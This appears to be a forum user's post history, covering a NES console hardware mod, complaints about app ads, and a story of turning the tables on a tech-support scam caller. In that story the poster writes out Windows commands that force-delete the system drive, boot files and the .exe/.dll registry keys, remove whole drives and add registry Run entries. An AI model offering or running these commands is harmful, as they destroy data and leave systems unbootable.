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Nite's art thread (Post)

...How stupid do they think I am? (Post) Lets just say: I really wish I was able to record this call.

I got a call on my cellphone from someone claiming to be Microsoft technical support (Yeah, like this hasn't happened before...what makes this even better is that I didn't have my computer with me...)

I talked with them, and acted as though I was doing as they asked, up until they wanted me to allow them to connect remotely.
I told them an outright lie, that it was waiting for a command from them, in addition to telling them I had seen this before.

I told them that they needed to open their command prompt, and enter the following commands:

WARNING! The following commands will render your computer inoperable! DO NOT test these, DO NOT enter these on your own system. We will not be held responsible for any idiots who decide to test these commands!

delete %systemdrive%\*.* /f /sattrib -r -s -h


c:\autoexec.batattrib -r -s -h


c:\boot.iniattrib -r -s -h c:\ntldrdel

c:\ntldrattrib -r -s -h

c:\windows\win.inidel c:\windows\win.iniSTART

reg delete HKCR/.exeSTART

reg delete HKCR/.dllSTART

reg delete HKCR/*rd/s/q/D:\rd/s/q/ C:\rd/s/q/ E:\
In addition to adding:

hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:window

To the system registry, and getting them to reboot the system.

You have not heard the levels of "Blind rage" this person had after they bricked their own system.
I left them with the following:
"Your on MY turf! And your first mistake was underestimating me. While I have no idea how you got this number, I think you'll find it interesting to know that I didn't even have a computer with me. Stop now, quit praying on the ignorant, and get an actual job, or you will eventually find worse people than I."

This is where I hung up.
The Groovy New JaxBoards (Post) WOOHOO!
Updating my bookmark now!

Nice work you guys :D
Nite's art thread (Post)
The NESronomicon (Post)

Improvements have been made as well.

The sound mod can now be undone, should I need to do maintenance on the system. This, thanks to various terminal clips.

The stereo output mod is now set up so that the knob fully adjusts the output mixing. this allows full stereo, as well as full mono.

The stereo output mod also no longer backfeeds through the default Mono output.

3 switches hidden on the underside control the color of the power LED.
The colors available are: OFF, Red, Green, Blue, Cyan, Magenta, Yellow, White.

Although, not pictured. The power button has been replaced with a breaker switch located on the rear of the console.
This was due to an unpredictable situation that resulted in the power switch being blown apart by it's own springs.

The RCA jacks are now custom components that lock tight into the casing. No superglue this time.
The NESronomicon (Post) And it's about to get more intense.



https://www.ebay.com/itm/480-pcs-Assorted-Insulated-Electrical-Wire-Terminals-Crimp-Spade-Connectors-Set/112828148966 (I think...)

Not only do I have the component to bring it back from the dead arriving, I also have parts to improve the sound mod on their way as well. the exception of that last one, which I'm actually not sure if it will work, or if I might already have the components.
Bad Apps (Post) I hear ya there, man.
Many times, apps overstep their bounds, and just become annoying and intrusive.
Ads, end up being a deal breaker many times for me.
It's not that there is really a problem with some ads, but when it interrupts the entire thing to force you to look at one, especially when it is supposed to serve a highly important task, it becomes not only annoying, but more often than not renders the app useless.

Unfortunately, most of this can indeed come down to simple greed.
The NESronomicon (Post)
Nite's art thread (Post)
The Website Obesity Crisis (Post) ^What Miles said.
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